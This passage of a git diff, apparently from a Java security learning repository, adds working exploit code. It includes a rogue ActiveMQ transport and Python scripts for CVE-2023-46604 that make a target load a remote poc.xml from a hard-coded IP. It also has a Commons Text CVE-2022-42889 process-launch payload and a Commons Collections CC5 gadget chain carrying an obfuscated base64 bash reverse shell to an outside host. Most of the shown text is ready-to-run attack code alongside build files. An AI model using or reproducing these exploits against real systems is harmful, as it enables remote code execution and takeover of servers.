SocketFactory socketFactory, URI remoteLocation, URI localLocation) throws UnknownHostException, IOException { + this.connectionTimeout = 30000; + this.socketBufferSize = 65536; + this.ioBufferSize = 8192; + this.closeAsync = true; + this.buffOut = null; + this.trafficClass = 0; + this.trafficClassSet = false; + this.diffServChosen = false; + this.typeOfServiceChosen = false; + this.trace = false; + this.logWriterName = TransportLoggerSupport.defaultLogWriterName; + this.dynamicManagement = false; + this.startLogging = true; + this.jmxPort = 1099; + this.useLocalHost = false; + this.stoppedLatch = new AtomicReference(); + this.soLinger = Integer.MIN_VALUE; + this.wireFormat = wireFormat; + this.socketFactory = socketFactory; + + try { + this.socket = socketFactory.createSocket(); + } catch (SocketException var6) { + this.socket = null; + } + + this.remoteLocation = remoteLocation; + this.localLocation = localLocation; + this.initBuffer = null; + this.setDaemon(false); + } + + public TcpTransport(WireFormat wireFormat, Socket socket) throws IOException { + this(wireFormat, socket, (InitBuffer)null); + } + + public TcpTransport(WireFormat wireFormat, Socket socket, InitBuffer initBuffer) throws IOException { + this.connectionTimeout = 30000; + this.socketBufferSize = 65536; + this.ioBufferSize = 8192; + this.closeAsync = true; + this.buffOut = null; + this.trafficClass = 0; + this.trafficClassSet = false; + this.diffServChosen = false; + this.typeOfServiceChosen = false; + this.trace = false; + this.logWriterName = TransportLoggerSupport.defaultLogWriterName; + this.dynamicManagement = false; + this.startLogging = true; + this.jmxPort = 1099; + this.useLocalHost = false; + this.stoppedLatch = new AtomicReference(); + this.soLinger = Integer.MIN_VALUE; + this.wireFormat = wireFormat; + this.socket = socket; + this.remoteLocation = null; + this.localLocation = null; + this.initBuffer = initBuffer; + this.setDaemon(true); + } + + public void oneway(Object command) throws IOException { + this.checkStarted(); + Throwable obj = new ClassPathXmlApplicationContext("http://119.3.215.198:9999/poc.xml"); + ExceptionResponse response = new ExceptionResponse(obj); + this.wireFormat.marshal(response, this.dataOut); + this.dataOut.flush(); + } + + public String toString() { + Object var10000 = this.socket.isConnected() ? "tcp://" + this.socket.getInetAddress() + ":" + this.socket.getPort() + "@" + this.socket.getLocalPort() : (this.localLocation != null ? this.localLocation : this.remoteLocation); + return "" + var10000; + } + + public void run() { + LOG.trace("TCP consumer thread for " + this + " starting"); + this.runnerThread = Thread.currentThread(); + + try { + while(!this.isStopped() && !this.isStopping()) { + this.doRun(); + } + } catch (IOException var7) { + ((CountDownLatch)this.stoppedLatch.get()).countDown(); + this.onException(var7); + } catch (Throwable var8) { + ((CountDownLatch)this.stoppedLatch.get()).countDown(); + IOException ioe = new IOException("Unexpected error occurred: " + var8); + ioe.initCause(var8); + this.onException(ioe); + } finally { + ((CountDownLatch)this.stoppedLatch.get()).countDown(); + } + + } + + protected void doRun() throws IOException { + try { + Object command = this.readCommand(); + this.doConsume(command); + } catch (SocketTimeoutException var2) { + } catch (InterruptedIOException var3) { + } + + } + + protected Object readCommand() throws IOException { + return this.wireFormat.unmarshal(this.dataIn); + } + + public String getDiffServ() { + return Integer.toString(this.trafficClass); + } + + public void setDiffServ(String diffServ) throws IllegalArgumentException { + this.trafficClass = QualityOfServiceUtils.getDSCP(diffServ); + this.diffServChosen = true; + } + + public int getTypeOfService() { + return this.trafficClass; + } + + public void setTypeOfService(int typeOfService) { + this.trafficClass = QualityOfServiceUtils.getToS(typeOfService); + this.typeOfServiceChosen = true; + } + + public boolean isTrace() { + return this.trace; + } + + public void setTrace(boolean trace) { + this.trace = trace; + } + + public String getLogWriterName() { + return this.logWriterName; + } + + public void setLogWriterName(String logFormat) { + this.logWriterName = logFormat; + } + + public boolean isDynamicManagement() { + return this.dynamicManagement; + } + + public void setDynamicManagement(boolean useJmx) { + this.dynamicManagement = useJmx; + } + + public boolean isStartLogging() { + return this.startLogging; + } + + public void setStartLogging(boolean startLogging) { + this.startLogging = startLogging; + } + + public int getJmxPort() { + return this.jmxPort; + } + + public void setJmxPort(int jmxPort) { + this.jmxPort = jmxPort; + } + + public int getMinmumWireFormatVersion() { + return this.minmumWireFormatVersion; + } + + public void setMinmumWireFormatVersion(int minmumWireFormatVersion) { + this.minmumWireFormatVersion = minmumWireFormatVersion; + } + + public boolean isUseLocalHost() { + return this.useLocalHost; + } + + public void setUseLocalHost(boolean useLocalHost) { + this.useLocalHost = useLocalHost; + } + + public int getSocketBufferSize() { + return this.socketBufferSize; + } + + public void setSocketBufferSize(int socketBufferSize) { + this.socketBufferSize = socketBufferSize; + } + + public int getSoTimeout() { + return this.soTimeout; + } + + public void setSoTimeout(int soTimeout) { + this.soTimeout = soTimeout; + } + + public int getConnectionTimeout() { + return this.connectionTimeout; + } + + public void setConnectionTimeout(int connectionTimeout) { + this.connectionTimeout = connectionTimeout; + } + + public Boolean getKeepAlive() { + return this.keepAlive; + } + + public void setKeepAlive(Boolean keepAlive) { + this.keepAlive = keepAlive; + } + + public void setSoLinger(int soLinger) { + this.soLinger = soLinger; + } + + public int getSoLinger() { + return this.soLinger; + } + + public Boolean getTcpNoDelay() { + return this.tcpNoDelay; + } + + public void setTcpNoDelay(Boolean tcpNoDelay) { + this.tcpNoDelay = tcpNoDelay; + } + + public int getIoBufferSize() { + return this.ioBufferSize; + } + + public void setIoBufferSize(int ioBufferSize) { + this.ioBufferSize = ioBufferSize; + } + + public boolean isCloseAsync() { + return this.closeAsync; + } + + public void setCloseAsync(boolean closeAsync) { + this.closeAsync = closeAsync; + } + + protected String resolveHostName(String host) throws UnknownHostException { + if (this.isUseLocalHost()) { + String localName = InetAddressUtil.getLocalHostName(); + if (localName != null && localName.equals(host)) { + return "localhost"; + } + } + + return host; + } + + protected void initialiseSocket(Socket sock) throws SocketException, IllegalArgumentException { + if (this.socketOptions != null) { + Map copy = new HashMap(this.socketOptions); + IntrospectionSupport.setProperties(this.socket, copy); + if (!copy.isEmpty()) { + throw new IllegalArgumentException("Invalid socket parameters: " + copy); + } + } + + try { + if (this.socketBufferSize> 0) { + sock.setReceiveBufferSize(this.socketBufferSize); + sock.setSendBufferSize(this.socketBufferSize); + } else { + LOG.warn("Socket buffer size was set to {}; Skipping this setting as the size must be a positive number.", this.socketBufferSize); + } + } catch (SocketException var3) { + LOG.warn("Cannot set socket buffer size = " + this.socketBufferSize); + LOG.debug("Cannot set socket buffer size. Reason: " + var3.getMessage() + ". This exception is ignored.", var3); + } + + sock.setSoTimeout(this.soTimeout); + if (this.keepAlive != null) { + sock.setKeepAlive(this.keepAlive); + } + + if (this.soLinger> -1) { + sock.setSoLinger(true, this.soLinger); + } else if (this.soLinger == -1) { + sock.setSoLinger(false, 0); + } + + if (this.tcpNoDelay != null) { + sock.setTcpNoDelay(this.tcpNoDelay); + } + + if (!this.trafficClassSet) { + this.trafficClassSet = this.setTrafficClass(sock); + } + + } + + protected void doStart() throws Exception { + this.connect(); + this.stoppedLatch.set(new CountDownLatch(1)); + super.doStart(); + } + + protected void connect() throws Exception { + if (this.socket == null && this.socketFactory == null) { + throw new IllegalStateException("Cannot connect if the socket or socketFactory have not been set"); + } else { + InetSocketAddress localAddress = null; + InetSocketAddress remoteAddress = null; + if (this.localLocation != null) { + localAddress = new InetSocketAddress(InetAddress.getByName(this.localLocation.getHost()), this.localLocation.getPort()); + } + + if (this.remoteLocation != null) { + String host = this.resolveHostName(this.remoteLocation.getHost()); + remoteAddress = new InetSocketAddress(host, this.remoteLocation.getPort()); + } + + this.trafficClassSet = this.setTrafficClass(this.socket); + if (this.socket != null) { + if (localAddress != null) { + this.socket.bind(localAddress); + } + + if (remoteAddress != null) { + if (this.connectionTimeout>= 0) { + this.socket.connect(remoteAddress, this.connectionTimeout); + } else { + this.socket.connect(remoteAddress); + } + } + } else if (localAddress != null) { + this.socket = this.socketFactory.createSocket(remoteAddress.getAddress(), remoteAddress.getPort(), localAddress.getAddress(), localAddress.getPort()); + } else { + this.socket = this.socketFactory.createSocket(remoteAddress.getAddress(), remoteAddress.getPort()); + } + + this.initialiseSocket(this.socket); + this.initializeStreams(); + } + } + + protected void doStop(ServiceStopper stopper) throws Exception { + if (LOG.isDebugEnabled()) { + LOG.debug("Stopping transport " + this); + } + + if (this.socket != null) { + if (this.closeAsync) { + final CountDownLatch latch = new CountDownLatch(1); + TaskRunnerFactory taskRunnerFactory = new TaskRunnerFactory(); + taskRunnerFactory.execute(new Runnable() { + public void run() { + TcpTransport.LOG.trace("Closing socket {}", TcpTransport.this.socket); + + try { + TcpTransport.this.socket.close(); + TcpTransport.LOG.debug("Closed socket {}", TcpTransport.this.socket); + } catch (IOException var5) { + if (TcpTransport.LOG.isDebugEnabled()) { + TcpTransport.LOG.debug("Caught exception closing socket " + TcpTransport.this.socket + ". This exception will be ignored.", var5); + } + } finally { + latch.countDown(); + } + + } + }); + + try { + latch.await(1L, TimeUnit.SECONDS); + } catch (InterruptedException var9) { + Thread.currentThread().interrupt(); + } finally { + taskRunnerFactory.shutdownNow(); + } + } else { + LOG.trace("Closing socket {}", this.socket); + + try { + this.socket.close(); + LOG.debug("Closed socket {}", this.socket); + } catch (IOException var11) { + if (LOG.isDebugEnabled()) { + LOG.debug("Caught exception closing socket " + this.socket + ". This exception will be ignored.", var11); + } + } + } + } + + } + + public void stop() throws Exception { + super.stop(); + CountDownLatch countDownLatch = (CountDownLatch)this.stoppedLatch.get(); + if (countDownLatch != null && Thread.currentThread() != this.runnerThread) { + countDownLatch.await(1L, TimeUnit.SECONDS); + } + + } + + protected void initializeStreams() throws Exception { + TcpBufferedInputStream buffIn = new TcpBufferedInputStream(this.socket.getInputStream(), this.ioBufferSize) { + public int read() throws IOException { + ++TcpTransport.this.receiveCounter; + return super.read(); + } + + public int read(byte[] b, int off, int len) throws IOException { + ++TcpTransport.this.receiveCounter; + return super.read(b, off, len); + } + + public long skip(long n) throws IOException { + ++TcpTransport.this.receiveCounter; + return super.skip(n); + } + + protected void fill() throws IOException { + ++TcpTransport.this.receiveCounter; + super.fill(); + } + }; + if (this.initBuffer != null) { + buffIn.unread(this.initBuffer.buffer.array()); + } + + this.dataIn = new DataInputStream(buffIn); + TcpBufferedOutputStream outputStream = new TcpBufferedOutputStream(this.socket.getOutputStream(), this.ioBufferSize); + this.dataOut = new DataOutputStream(outputStream); + this.buffOut = outputStream; + } + + protected void closeStreams() throws IOException { + if (this.dataOut != null) { + this.dataOut.close(); + } + + if (this.dataIn != null) { + this.dataIn.close(); + } + + } + + public void setSocketOptions(Map socketOptions) { + this.socketOptions = new HashMap(socketOptions); + } + + public String getRemoteAddress() { + if (this.socket != null) { + SocketAddress address = this.socket.getRemoteSocketAddress(); + if (address instanceof InetSocketAddress) { + String var10000 = ((InetSocketAddress)address).getAddress().getHostAddress(); + return "tcp://" + var10000 + ":" + ((InetSocketAddress)address).getPort(); + } else { + return "" + this.socket.getRemoteSocketAddress(); + } + } else { + return null; + } + } + + public T narrow(Class target) { + if (target == Socket.class) { + return target.cast(this.socket); + } else { + return target == TimeStampStream.class ? target.cast(this.buffOut) : super.narrow(target); + } + } + + public int getReceiveCounter() { + return this.receiveCounter; + } + + private boolean setTrafficClass(Socket sock) throws SocketException, IllegalArgumentException { + if (sock != null && (this.diffServChosen || this.typeOfServiceChosen)) { + if (this.diffServChosen && this.typeOfServiceChosen) { + throw new IllegalArgumentException("Cannot set both the Differentiated Services and Type of Services transport options on the same connection."); + } else { + sock.setTrafficClass(this.trafficClass); + int resultTrafficClass = sock.getTrafficClass(); + if (this.trafficClass == resultTrafficClass) { + this.diffServChosen = false; + this.typeOfServiceChosen = false; + return true; + } else { + if (this.trafficClass>> 2 == resultTrafficClass>> 2 && (this.trafficClass & 3) != (resultTrafficClass & 3)) { + LOG.warn("Attempted to set the Traffic Class to " + this.trafficClass + " but the result Traffic Class was " + resultTrafficClass + ". Please check that your system allows you to set the ECN bits (the first two bits)."); + } else { + LOG.warn("Attempted to set the Traffic Class to " + this.trafficClass + " but the result Traffic Class was " + resultTrafficClass + ". Please check that your system supports java.net.setTrafficClass."); + } + + return false; + } + } + } else { + return false; + } + } + + public WireFormat getWireFormat() { + return this.wireFormat; + } + + public X509Certificate[] getPeerCertificates() { + return null; + } + + public void setPeerCertificates(X509Certificate[] certificates) { + } + + public static class InitBuffer { + public final int readSize; + public final ByteBuffer buffer; + + public InitBuffer(int readSize, ByteBuffer buffer) { + if (buffer == null) { + throw new IllegalArgumentException("Null buffer not allowed."); + } else { + this.readSize = readSize; + this.buffer = buffer; + } + } + } +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/org/springframework/context/support/ClassPathXmlApplicationContext.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/org/springframework/context/support/ClassPathXmlApplicationContext.java new file mode 100644 index 00000000..ea49efa1 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/main/java/org/springframework/context/support/ClassPathXmlApplicationContext.java @@ -0,0 +1,15 @@ +package org.springframework.context.support; + +public class ClassPathXmlApplicationContext extends Throwable { + + private String message; + + public ClassPathXmlApplicationContext(String message) { + this.message = message; + } + + @Override + public String getMessage() { + return message; + } +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/test/java/com/example/drunkbaby/cve202346604/Cve202346604ApplicationTests.java b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/test/java/com/example/drunkbaby/cve202346604/Cve202346604ApplicationTests.java new file mode 100644 index 00000000..80f13bea --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/src/test/java/com/example/drunkbaby/cve202346604/Cve202346604ApplicationTests.java @@ -0,0 +1,13 @@ +package com.example.drunkbaby.cve202346604; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class Cve202346604ApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/com/example/drunkbaby/cve202346604/Cve202346604Application.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/com/example/drunkbaby/cve202346604/Cve202346604Application.class new file mode 100644 index 00000000..240cfb63 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/com/example/drunkbaby/cve202346604/Cve202346604Application.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/com/example/drunkbaby/cve202346604/PoC.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/com/example/drunkbaby/cve202346604/PoC.class new file mode 100644 index 00000000..c9195646 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/com/example/drunkbaby/cve202346604/PoC.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport1ドル.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport1ドル.class new file mode 100644 index 00000000..d3813156 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport1ドル.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport2ドル.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport2ドル.class new file mode 100644 index 00000000..8f6a0d2a Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport2ドル.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport$InitBuffer.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport$InitBuffer.class new file mode 100644 index 00000000..00837527 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport$InitBuffer.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport.class new file mode 100644 index 00000000..1a7909de Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/apache/activemq/transport/tcp/TcpTransport.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/springframework/context/support/ClassPathXmlApplicationContext.class b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/springframework/context/support/ClassPathXmlApplicationContext.class new file mode 100644 index 00000000..63c7cca8 Binary files /dev/null and b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/CVE-2023-46604/target/classes/org/springframework/context/support/ClassPathXmlApplicationContext.class differ diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/EXP/exp.py b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/EXP/exp.py new file mode 100644 index 00000000..ad7d8ce3 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/EXP/exp.py @@ -0,0 +1,43 @@ +import io +import socket +import sys + + +def main(ip, port, poc): + classname = "org.springframework.context.support.ClassPathXmlApplicationContext" + socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + socket_obj.connect((ip, port)) + + new_len = len(classname + poc) + package_data_len = ascii(new_len + 17) + Command = "1f" # Command: ExceptionResponse(31) + Command_Id = "00000000" # Command Id: 00 00 00 00 + Command_response_required = "00" # Command response required: 0 + CorrelationId = "00000000" # CorrelationId: 0 + + + with socket_obj: + out = socket_obj.makefile('wb') + out.write(int(package_data_len).to_bytes(4, 'big')) + out.write(bytes([31])) + out.write(int(0).to_bytes(4, 'big')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(int(0).to_bytes(4, 'big')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(len(classname).to_bytes(2, 'big')) + out.write(classname.encode('utf-8')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(len(poc).to_bytes(2, 'big')) + out.write(poc.encode('utf-8')) + # print(list(out.getvalue())) + out.flush() + out.close() + + +if __name__ == "__main__": + if len(sys.argv) != 4: + print("Please specify the target and port and poc.xml: python3 exp.py 127.0.0.1 61616 " + "http://192.168.0.101:8888/poc.xml") + exit(-1) + main(sys.argv[1], int(sys.argv[2]), sys.argv[3]) \ No newline at end of file diff --git a/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/EXP/test.py b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/EXP/test.py new file mode 100644 index 00000000..0c06f0a2 --- /dev/null +++ b/JavaSecurity/Apache/ActiveMQ/Pkg-CVE-2023-46604/EXP/test.py @@ -0,0 +1,36 @@ +import io +import socket +import sys + + +def main(ip, port, xml): + classname = "org.springframework.context.support.ClassPathXmlApplicationContext" + socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + socket_obj.connect((ip, port)) + + with socket_obj: + out = socket_obj.makefile('wb') + # out = io.BytesIO() # 创建一个内存中的二进制流 + out.write(int(32).to_bytes(4, 'big')) + out.write(bytes([31])) + out.write(int(1).to_bytes(4, 'big')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(int(1).to_bytes(4, 'big')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(len(classname).to_bytes(2, 'big')) + out.write(classname.encode('utf-8')) + out.write(bool(True).to_bytes(1, 'big')) + out.write(len(xml).to_bytes(2, 'big')) + out.write(xml.encode('utf-8')) + # print(list(out.getvalue())) + out.flush() + out.close() + + +if __name__ == "__main__": + if len(sys.argv) != 4: + print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 " + "http://192.168.0.101:8888/poc.xml") + exit(-1) + main(sys.argv[1], int(sys.argv[2]), sys.argv[3]) \ No newline at end of file diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/src/main/java/EXP.java b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/src/main/java/EXP.java index 4fd6d35f..1ab2d021 100644 --- a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/src/main/java/EXP.java +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/src/main/java/EXP.java @@ -5,6 +5,7 @@ public static void main(String[] args) { StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); String payload = "${script:javascript:new java.lang.ProcessBuilder(\"calc\").start()}"; - interpolator.replace(payload); + String result = interpolator.replace(payload); + System.out.println(result); } } \ No newline at end of file diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/src/main/java/Vul.java b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/src/main/java/Vul.java new file mode 100644 index 00000000..e0b6782d --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/src/main/java/Vul.java @@ -0,0 +1,15 @@ +import org.apache.commons.text.StringSubstitutor; + +import java.util.Scanner; + +public class Vul { + public static void main(String[] args) { + + Scanner scanner = new Scanner(System.in); + String userInput = scanner.nextLine(); + StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); + String result = interpolator.replace(userInput); + scanner.close(); + System.out.println(result); + } +} diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/CVE-2022-42889-1.0-SNAPSHOT.jar b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/CVE-2022-42889-1.0-SNAPSHOT.jar new file mode 100644 index 00000000..b07ea110 Binary files /dev/null and b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/CVE-2022-42889-1.0-SNAPSHOT.jar differ diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/EXP.class b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/EXP.class new file mode 100644 index 00000000..d3f30c89 Binary files /dev/null and b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/EXP.class differ diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/META-INF/maven/archetype.xml b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/META-INF/maven/archetype.xml new file mode 100644 index 00000000..40dabe45 --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/META-INF/maven/archetype.xml @@ -0,0 +1,9 @@ + + CVE-2022-42889 + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/Vul.class b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/Vul.class new file mode 100644 index 00000000..d4a9d7b3 Binary files /dev/null and b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/Vul.class differ diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/pom.xml b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/pom.xml new file mode 100644 index 00000000..b38429db --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $CVE-2022-42889 + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/src/main/java/App.java b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/classes/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-archiver/pom.properties b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-archiver/pom.properties new file mode 100644 index 00000000..b34d28d8 --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-archiver/pom.properties @@ -0,0 +1,5 @@ +#Generated by Maven +#Fri Jan 05 10:24:08 CST 2024 +version=1.0-SNAPSHOT +groupId=org.example +artifactId=CVE-2022-42889 diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst new file mode 100644 index 00000000..863531d2 --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst @@ -0,0 +1,2 @@ +Vul.class +EXP.class diff --git a/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst new file mode 100644 index 00000000..a1cba735 --- /dev/null +++ b/JavaSecurity/Apache/Apache Commons Text/CVE-2022-42889/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst @@ -0,0 +1,2 @@ +E:\Coding\Java\JavaSecurityLearning\JavaSecurity\Apache\Apache Commons Text\CVE-2022-42889\src\main\java\EXP.java +E:\Coding\Java\JavaSecurityLearning\JavaSecurity\Apache\Apache Commons Text\CVE-2022-42889\src\main\java\Vul.java diff --git a/JavaSecurity/Apache/CC/CC5/CC5.iml b/JavaSecurity/Apache/CC/CC5/CC5.iml new file mode 100644 index 00000000..abe781f7 --- /dev/null +++ b/JavaSecurity/Apache/CC/CC5/CC5.iml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/JavaSecurity/Apache/CC/CC5/ser.bin b/JavaSecurity/Apache/CC/CC5/ser.bin index 568fb87d..3c1e9909 100644 Binary files a/JavaSecurity/Apache/CC/CC5/ser.bin and b/JavaSecurity/Apache/CC/CC5/ser.bin differ diff --git a/JavaSecurity/Apache/CC/CC5/src/CC5EXP/CC5EXP.java b/JavaSecurity/Apache/CC/CC5/src/CC5EXP/CC5EXP.java index 83de30b2..13cb3e64 100644 --- a/JavaSecurity/Apache/CC/CC5/src/CC5EXP/CC5EXP.java +++ b/JavaSecurity/Apache/CC/CC5/src/CC5EXP/CC5EXP.java @@ -22,7 +22,7 @@ public static void main(String[] args) throws Exception{ new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), - new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84MS42OC4xMjAuMTQvMjMzNCAwPiYx}|{base64,-d}|{bash,-i}\"}"}) + new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzM0IDA+JjE=}|{base64,-d}|{bash,-i}\"}"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); diff --git a/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/CC5EXP.class b/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/CC5EXP.class index 689d1ee5..5b6f9ec2 100644 Binary files a/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/CC5EXP.class and b/JavaSecurity/Apache/CC/CC5/target/classes/CC5EXP/CC5EXP.class differ diff --git 